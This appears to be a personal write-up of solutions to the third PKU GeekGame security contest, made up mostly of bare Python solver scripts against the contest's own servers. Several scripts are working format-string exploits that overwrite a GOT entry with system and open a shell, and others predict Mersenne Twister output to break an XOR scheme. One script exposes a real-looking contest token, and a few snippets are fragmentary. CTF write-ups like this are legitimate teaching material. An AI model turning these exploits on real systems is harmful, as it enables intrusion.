第三届北京大学信息安全综合能力竞赛个人题解

EMOJI_CHARS = (
    {chr(0x200d)}  # zwj
    | {chr(0x200b)}  # zwsp, to break emoji componenets into independent chars
    | {chr(0x20e3)} # keycap
    | {chr(c) for c in range(0xfe00, 0xfe0f+1)} # variation selector
    | {chr(c) for c in range(0xe0020, 0xe007f+1)} # tag
    | {chr(c) for c in range(0x1f1e6, 0x1f1ff+1)} # regional indicator
)

# https://www.compart.com/en/unicode/category
DISALLOWED_CHARS = (
    unicode_chars('Cc', 'Cf', 'Cs', 'Mc', 'Me', 'Mn', 'Zl', 'Zp') # control and modifier chars
    | {chr(c) for c in range(0x12423, 0x12431+1)} # too long
    | {chr(0x0d78)} # too long
) - EMOJI_CHARS
WHITESPACE_CHARS = unicode_chars('Zs') | EMOJI_CHARS

@classmethod
def _deep_val_nickname(cls, name: str) -> Optional[str]:
    all_whitespace = True
    for c in name:
        if c in cls.DISALLOWED_CHARS:
            return f'昵称中不能包含字符 {hex(ord(c))}'
        if c not in cls.WHITESPACE_CHARS:
            all_whitespace = False

from typing import Set
from unicategories import categories

def unicode_chars(*cats: str) -> Set[str]:
    ret = set()
    for cat in cats:
        ret |= set(categories[cat].characters())
    return ret

EMOJI_CHARS = (
    {chr(0x200d)}  # zwj
    | {chr(0x200b)}  # zwsp, to break emoji componenets into independent chars
    | {chr(0x20e3)} # keycap
    | {chr(c) for c in range(0xfe00, 0xfe0f+1)} # variation selector
    | {chr(c) for c in range(0xe0020, 0xe007f+1)} # tag
    | {chr(c) for c in range(0x1f1e6, 0x1f1ff+1)} # regional indicator
)

# https://www.compart.com/en/unicode/category
DISALLOWED_CHARS = (
    unicode_chars('Cc', 'Cf', 'Cs', 'Mc', 'Me', 'Mn', 'Zl', 'Zp') # control and modifier chars
    | {chr(c) for c in range(0x12423, 0x12431+1)} # too long
    | {chr(0x0d78)} # too long
) - EMOJI_CHARS
WHITESPACE_CHARS = unicode_chars('Zs') | EMOJI_CHARS

print(len(DISALLOWED_CHARS))

from pwn import *

conn = remote("prob05.geekgame.pku.edu.cn", 10005)
conn.recvuntil(b"Please input your token: ")
conn.send(b"<MY TOKEN>\n")
time.sleep(1)
conn.send(b"\x2a\x2a\x18\x42\x30\x31\x30\x30\x30\x30\x30\x30\x36\x33\x66\x36\x39\x34\x0a")
time.sleep(1)
conn.send(b"\x0a")
time.sleep(1)
conn.send(b"\x2a\x18\x43\x18\x44\x18\x40\x18\x40\x18\x40\x18\x40\xdd\x51\xa2\x33\x66\x6c\x61\x67\x2e\x6a\x70\x67\x18\x40\x31\x36\x30\x39\x36\x20\x31\x34\x35\x30\x35\x33\x33\x33\x35\x31\x35\x20\x31\x30\x30\x37\x37\x37\x20\x30\x20\x31\x20\x31\x36\x30\x39\x36\x18\x40\x18\x6b\xd6\x18\xcb\x33\x66\x11")
time.sleep(1)
conn.send(b"\x2a\x2a\x18\x42\x30\x31\x30\x30\x30\x30\x30\x30\x36\x33\x66\x36\x39\x34\x0a\x0a")
time.sleep(1)
print(conn.recv())
conn.send(b"\x2a\x2a\x18\x42\x30\x39\x30\x30\x30\x30\x30\x30\x30\x30\x61\x38\x37\x63\x0a\x0a")
with open("flag1.bin", "wb") as writer:
  writer.write(conn.recv())

import struct

result = b""

data = b""
for f in [1, 2, 3, 4, 5, 6, 7, 8]:
  with open(f"./{f:04d}.bin", "rb") as reader:
    data += reader.read()

data = data[data.index(b"\xFF\xD8\xFF\xE0"):]

i = 0
while i < len(data):
  c = data[i]
  if c == 0x18:
    if i + 1 >= len(data):
      break
    c = data[i + 1]
    c = c ^ 0x40
    result += struct.pack("B", c)
    i += 2
    continue
  else:
    result += struct.pack("B", c)
    i += 1
    continue

with open("out.jpg", "wb") as writer:
  writer.write(result[result.index(b"\xFF\xD8\xFF\xE0"):])

from pwn import *

context.log_level = "debug"
io = process(["sz", "test.jpg"])
time.sleep(1)
io.send(b"\x2a\x2a\x18\x42\x30\x31\x30\x30\x30\x30\x30\x30\x36\x33\x66\x36\x39\x34\x0a\x0a")
time.sleep(1)
io.recv()
io.send(b"\x2a\x2a\x18\x42\x30\x39\x30\x30\x30\x30\x30\x30\x30\x30\x61\x38\x37\x63\x0a\x0a")
time.sleep(1)

out = 1
while True:
  x = io.recv(timeout=5)
  if not x:
    break
  with open(f"test/{out:04d}.bin", "wb") as writer:
    writer.write(x)
  out += 1
io.close()

remove = 0x405

i = 0
while i < len(data):
  if len(result) == remove:
    result = result[:-5]
    remove += 0x400

from pwn import *

COMMANDS = [
  "n",
  "n",
  "e",
  "pickup key",
  "w",
  "s",
  "s",
  "e",
  "e",
  "e",
  "pickup trinket",
  "use trinket",
  "w",
  "s",
  "usewith key door",
  "s",
  "s",
  "n",
  "w",
  "w",
  "w",
  "n",
  "pickup key",
  "s",
  "e",
  "e",
  "e",
  "n",
  "n",
  "n",
  "w",
  "w",
  "n",
  "n",
  "w",
  "w",
  "usewith key door",
  "h",
]

def play(file_name):
  writer = open(file_name, "w", -1, "utf8")
  conn = remote("prob16.geekgame.pku.edu.cn", 10016)
  conn.recvuntil(b"Please input your token: ")
  conn.sendline(b"MY TOKEN")
  time.sleep(1)
  conn.recvuntil(b"]: ", timeout=5)
  conn.send(b"newgame\n")
  conn.recvuntil(b"]: ", timeout=5)
  conn.send(b"gamer\n")
  conn.recvuntil(b"(y/n) ", timeout=5)
  conn.send(b"y\n")
  for command in COMMANDS:
    writer.write(conn.recvuntil(b"]: ", timeout=5).decode("utf8") + "\n")
    conn.send(command.encode("utf8") + b"\n")

  while True:
    result = conn.recvuntil(b"]: ", timeout=5).decode("utf8")
    writer.write(result + "\n")
    sanity = int(re.search(r"Sanity: \[[\|\-]+\] \((-?\d+)%\)", result).group(1))
    if sanity >= 118:
      conn.send(b"n\n")
      result = conn.recvuntil(b"]: ", timeout=5).decode("utf8")
      writer.write(result + "\n")
      writer.close()
      exit(0)
    elif sanity < 1:
      conn.close()
      break
    else:
      conn.send(b"h\n")
  writer.close()
  
i = 0
while True:
  play(f"output/{i}.txt")
  i += 1
  time.sleep(3.5)

from pwn import *

COMMANDS = [
  "n",
  "n",
  "w",
  "w",
  "s",
  "s",
  "getflag",
]

def play():
  writer = open("output/flag2.txt", "w", -1, "utf8")
  conn = remote("prob16.geekgame.pku.edu.cn", 10016)
  conn.recvuntil(b"Please input your token: ")
  conn.send(b"448:MEYCIQCWia84qwxiWuYqqtctrw6YAzAGcevIrzAikp7FGKm9LwIhAIS_ydCHSUczXU9RK5Cn8fH8acfvPtuj7nrOWU6UtPJW\n")
  time.sleep(1)
  conn.recvuntil(b"]: ", timeout=5)
  conn.send(b"newgame\n")
  conn.recvuntil(b"]: ", timeout=5)
  conn.send(b"gamer\n")
  conn.recvuntil(b"(y/n) ", timeout=5)
  conn.send(b"y\n")
  for command in COMMANDS:
    conn.recvuntil(b"]: ", timeout=5)
    conn.send(command.encode("utf8") + b"\n")

  start_time = time.time()
  first = True
  while True:
    conn.recvline()
    line = conn.recvline().decode("utf8").strip()
    now = time.time()
    if now - start_time > 0.95:
      writer.write("1")
      writer.flush()
    else:
      if not first:
        writer.write("0")
        writer.flush()
      else:
        first = False
    if line == "Challenge Failed":
      break
    start_time = time.time()
    conn.sendline(b"0")
  writer.close()

play()

import json
import os
import re
import requests

with open("emoji_list.txt", "r", -1, "utf8") as reader:
  x = "".join(reader.read().split("\n"))

cookies = None

for i in range(0, len(x), 64):
  sub = x[i:i+64]
  response = requests.get(f"https://prob14.geekgame.pku.edu.cn/level3?guess={sub}", cookies=cookies)
  if not cookies:
    cookies = response.cookies
  result = re.search(r"[🟥🟨🟩]+", response.text).group(0)
  assert len(result) == len(sub)
  with open(f"3/{i // 64}.txt", "w", -1, "utf8", None, "\n") as writer:
    writer.write(sub + "\n" + result)

STATUS_NOT_IN = 0
STATUS_IN = 1
STATUS_CORRECT_POS = 2

char_pos = {
  i: [] for i in range(64)
}
char_in = ""

for file_name in os.listdir("3"):
  if not file_name.endswith(".txt"):
    continue
  with open(f"3/{file_name}", "r", -1, "utf8") as reader:
    x, y = reader.read().strip().split("\n")
  
  for i, (char, status) in enumerate(zip(x, y)):
    if status != "🟥":
      char_in += char

for i in char_in:
  sub = i * 64
  response = requests.get(f"https://prob14.geekgame.pku.edu.cn/level3?guess={sub}", cookies=cookies)
  result = re.search(r"[🟥🟨🟩]+", response.text).group(0)
  assert len(result) == len(sub)
  with open(f"3/{ord(i)}.txt", "w", -1, "utf8", None, "\n") as writer:
    writer.write(sub + "\n" + result)

for file_name in os.listdir("3"):
  if not file_name.endswith(".txt"):
    continue
  with open(f"3/{file_name}", "r", -1, "utf8") as reader:
    x, y = reader.read().strip().split("\n")
  
  for i, (char, status) in enumerate(zip(x, y)):
    if status == "🟩":
      char_pos[i] = char

sub = "".join(char_pos.values())
assert len(sub) == 64
response = requests.get(f"https://prob14.geekgame.pku.edu.cn/level3?guess={sub}", cookies=cookies)
print(response.text)

def int2aeio(number: int, length: int = 16):
  s = ""
  while number > 0 or length > 0:
    number, digit = divmod(number, 4)
    s = "AEIO"[digit] + s
    length -= 1
  return s

writer = open("strings.txt", "w", -1, "utf8", None, "\n")

for i in range(0, 4 ** 16):
  s = int2aeio(i)
  if s.count("A") == 6 and s.count("E") == 3 and s.count("I") == 1 and s.count("O") == 6:
    writer.write(s + "\n")
    writer.flush()

def calc_hash(flag: str) -> int:
  hash = 1337
  for s in flag:
    hash = hash * 13337 + ("AEIO".index(s) + 1) * 11
  hash = hash * 13337 + 66
  hash = hash % 19260817
  return str(hash)

import multiprocess

if __name__ == "__main__":
  with multiprocess.Pool(16) as pool:
    with open("strings.txt", "r", -1, "utf8") as reader:
      result = pool.map(calc_hash, reader.read().split("\n"))
  
  with open("hash.txt", "w", -1, "utf8") as writer:
    writer.write("\n".join(result))

from pwn import *

conn = connect("prob09.geekgame.pku.edu.cn", "10009")
conn.recvuntil(b"Please input your token: ")
conn.sendline(b"MY TOKEN")
conn.recvuntil(b"Please input your instruction:\n")
conn.sendline(b"%1$p")
line = conn.recvline().decode("utf8", "ignore")
addr = int(line[2:], 16) + 0x40
conn.recvuntil(b"Please input your instruction:\n")
conn.sendline(b"%35$s".ljust(0x08, b"a") + p64(addr))
line = conn.recvline().decode("utf8", "ignore")
print(line)
conn.close()

from pwn import *
import struct

conn = connect("prob09.geekgame.pku.edu.cn", "10009")
conn.recvuntil(b"Please input your token: ")
conn.sendline(b"MY TOKEN")
conn.recvuntil(b"Please input your instruction:\n")
conn.sendline(b"%26$p %27$p %28$p %29$p %30$p %31$p %32$p %33$p")
line = conn.recvline().decode("utf8", "ignore").strip("\n")
line_bytes = struct.pack("<8Q", *[int(x[2:], 16) if x != "(nil)" else 0 for x in line.split(" ")])
print(line_bytes.decode("utf8", "ignore"))
conn.close()

from pwn import *

context(arch="amd64", os="linux")

r = connect("prob11.geekgame.pku.edu.cn", "10011")
r.recvuntil(b"Please input your token: ")
r.sendline(b"MY TOKEN")

elf = ELF("./challenge2")
libc = ELF("./libc.so.6")

offset = 14
puts_got = elf.got["puts"]
log.success("puts_got    => {}".format(hex(puts_got)))

r.recvuntil(b"please enter your flag~(less than 0x20 characters)\n")
payload = f"%{offset + 1}$s".encode("utf-8").ljust(8, b"a") + p64(puts_got)
r.sendline(payload)

printf_addr = r.recvline()[len(b"this is your flag: "):]
printf_addr = struct.unpack("<Q", printf_addr[:printf_addr.index(b"a")].ljust(8, b"\x00"))[0]
log.success("puts_addr   => {}".format(hex(printf_addr)))

system_addr = printf_addr - (libc.symbols["puts"] - libc.symbols["system"])
log.success("system_addr => {}".format(hex(system_addr)))

btw = sorted(((system_addr & 0xff, 0), ((system_addr >> 8) & 0xff, 1), ((system_addr >> 16) & 0xff, 2)))
payload = f"%{btw[0][0]}c%{offset + 5}$hhn%{btw[1][0] - btw[0][0]}c%{offset + 6}$hhn%{btw[2][0] - btw[1][0]}c%{offset + 7}$hhn".encode().ljust(40, b"a") + p64(puts_got + btw[0][1]) + p64(puts_got + btw[1][1]) + p64(puts_got + btw[2][1])
print(payload)

r.recvuntil(b"What will you do to capture it?:")
r.sendline(payload)

r.recvuntil(b" and your flag again? :")
payload = b"/bin/sh"
r.sendline(payload)

r.interactive()

from pwn import *

context(arch="amd64", os="linux")

r = connect("prob11.geekgame.pku.edu.cn", "10011")
r.recvuntil(b"Please input your token: ")
r.sendline(b"MY TOKEN")

elf = ELF("./challenge2")
libc = ELF("./libc.so.6")

offset_1 = 14
offset_2 = 6
puts_got = elf.got["puts"]
start_main_got = elf.got["__libc_start_main"]

r.recvuntil(b"please enter your flag~(less than 0x20 characters)\n")
payload = f"%{offset_1 + 1}$s".encode("utf-8").ljust(8, b"a") + p64(start_main_got)
r.sendline(payload)

puts_addr = r.recvline()[len(b"this is your flag: "):]
puts_addr = struct.unpack("<Q", puts_addr[:puts_addr.index(b"a")].ljust(8, b"\x00"))[0]
log.success("puts_addr   => {}".format(hex(puts_addr)))

system_addr = puts_addr - (libc.symbols["__libc_start_main"] - libc.symbols["system"])
log.success("system_addr => {}".format(hex(system_addr)))

btw = sorted(((system_addr & 0xff, 0), ((system_addr >> 8) & 0xff, 1), ((system_addr >> 16) & 0xff, 2)))
payload = f"%{btw[0][0]}c%{offset_2 + 5}$hhn%{btw[1][0] - btw[0][0]}c%{offset_2 + 6}$hhn%{btw[2][0] - btw[1][0]}c%{offset_2 + 7}$hhn".encode().ljust(40, b"a") + p64(puts_got + btw[0][1]) + p64(puts_got + btw[1][1]) + p64(puts_got + btw[2][1])
print(payload)

r.recvuntil(b"What will you do to capture it?:")
r.sendline(payload)

r.recvuntil(b" and your flag again? :")
payload = b"/bin/sh"
r.sendline(payload)

r.interactive()

from pwn import *
from randcrack import RandCrack

def xor_arrays(a, b, *args):
  if args:
    return xor_arrays(a, xor_arrays(b, *args))
  return bytes([x ^ y for x, y in zip(a, b)])

conn = remote("prob08.geekgame.pku.edu.cn", 10008)
conn.recvuntil(b"Please input your token: ")
conn.sendline(b"MY TOKEN")

conn.recvuntil(b"Choose one: ")
conn.sendline(b"1")
conn.recvuntil(b"*You heard a obscure voice coming from the void*\n")

ancient_words = conn.recvline().decode("utf8").strip()
ancient_bytes = bytes.fromhex(ancient_words)

rc = RandCrack()
for i in range(0, 624 * 4, 4):
  rc.submit(ancient_bytes[i] + (ancient_bytes[i + 1] << 8) + (ancient_bytes[i + 2] << 16) + (ancient_bytes[i + 3] << 24))

rand_bytes = ancient_bytes[:624 * 4]
for i in range(624 * 4, len(ancient_bytes), 4):
  rand_bytes += rc.predict_getrandbits(32).to_bytes(4, "little")

assert ancient_bytes[624 * 4:625 * 4] == rand_bytes[624 * 4:625 * 4]

print(xor_arrays(ancient_bytes, rand_bytes).strip(b"\0").decode("utf8").strip())

from pwn import *
from randcrack import RandCrack

def xor_arrays(a, b, *args):
  if args:
    return xor_arrays(a, xor_arrays(b, *args))
  return bytes([x ^ y for x, y in zip(a, b)])

conn = remote("prob08.geekgame.pku.edu.cn", 10008)
conn.recvuntil(b"Please input your token: ")
conn.sendline(b"MY TOKEN")

conn.recvuntil(b"Choose one: ")
conn.sendline(b"2")
conn.recvuntil("Ƀēħꝋłđ, ⱦħīꞥē ēɏēꞩ đꝋꞩⱦ ȼⱥⱦȼħ ⱥ ӻɍⱥꞡᵯēꞥⱦ ꝋӻ ēꞩꝋⱦēɍīȼ ēꞥīꞡᵯⱥ, ⱥ ᵯēɍē ꞡłīᵯᵯēɍ ⱳīⱦħīꞥ ⱦħē ӻⱥⱦħꝋᵯłēꞩꞩ ⱥƀɏꞩꞩ.\n".encode("utf8"))

seed1 = int(conn.recvline().decode("utf8").strip("\n<>"), 16)
conn.recvuntil("Ⱳħⱥⱦ ɍēꞩꝑꝋꞥꞩē đꝋꞩⱦ ⱦħꝋᵾ ꝑɍꝋӻӻēɍ, ꝑᵾꞥɏ ᵯꝋɍⱦⱥł?\n".encode("utf8"))
conn.sendline(f"-{seed1}".encode("utf8"))

conn.recvuntil(b"*You heard a more obscure voice coming from the void*\n")

ancient_words = conn.recvline().decode("utf8").strip()
ancient_bytes = bytes.fromhex(ancient_words)

rc = RandCrack()
for i in range(0, 624 * 4, 4):
  rc.submit(ancient_bytes[i] + (ancient_bytes[i + 1] << 8) + (ancient_bytes[i + 2] << 16) + (ancient_bytes[i + 3] << 24))

rand_bytes = ancient_bytes[:624 * 4]
for i in range(624 * 4, len(ancient_bytes), 4):
  rand_bytes += rc.predict_getrandbits(32).to_bytes(4, "little")

assert ancient_bytes[624 * 4:625 * 4] == rand_bytes[624 * 4:625 * 4]

print(xor_arrays(ancient_bytes, rand_bytes).strip(b"\0").decode("utf8").strip())

from pwn import *

def xor_arrays(a, b, *args):
  if args:
    return xor_arrays(a, xor_arrays(b, *args))
  return bytes([x ^ y for x, y in zip(a, b)])

conn = remote("prob08.geekgame.pku.edu.cn", 10008)
conn.recvuntil(b"Please input your token: ")
conn.sendline(b"MY TOKEN")

conn.recvuntil(b"Choose one: ")
conn.sendline(b"3")
conn.recvuntil("Ⱦħē đⱥɏ ꝋӻ ɍēȼҟꝋꞥīꞥꞡ đɍⱥⱳēⱦħ ꞥīꞡħ ⱳīⱦħ ħⱥꞩⱦē. Ħⱥꞩⱦēꞥ, ꝋɍ ӻꝋɍӻēīⱦ ⱥłł.\n".encode("utf8"))

curses = conn.recvline().decode("utf8").strip("\n<>")
conn.recvuntil("Ⱳħⱥⱦ ɍēꞩꝑꝋꞥꞩē đꝋꞩⱦ ⱦħꝋᵾ ꝑɍꝋӻӻēɍ, ꝑᵾꞥɏ ᵯꝋɍⱦⱥł?\n".encode("utf8"))
conn.sendline(curses.replace("0x", "").encode("utf8"))

conn.recvuntil(b"Good job, Smol Tako! Here's your delicious SUPA BIG cookie! uwu\n")
print(conn.recvline().decode("utf8").strip())

import itertools
from PIL import Image
import os
from pyzbar.pyzbar import decode

os.chdir(os.path.dirname(__file__))

image = Image.open("250.png")

file_names = ["015", "020", "014", "004", "003", "018"]
pos = [(100, 0), (0, 100), (100, 100), (150, 100), (200, 100), (100, 150), (100, 200), (200, 200)]

for a, b in [("012", "011"), ("011", "012")]:
  image.paste(Image.open(a + ".png"), (200, 150))
  for c, d in [("002", "010"), ("010", "002")]:
    image.paste(Image.open(c + ".png"), (150, 200))
    for permutations in itertools.permutations(file_names + [b, d]):
      if Image.open(permutations[-1] + ".png").getpixel((2, 2)) != 0:
        continue
      for i, name in enumerate(permutations):
        image.paste(Image.open(name + ".png"), pos[i])
      result = decode(image)
      if len(result) > 0:
        print(result[0].data.decode("ascii"))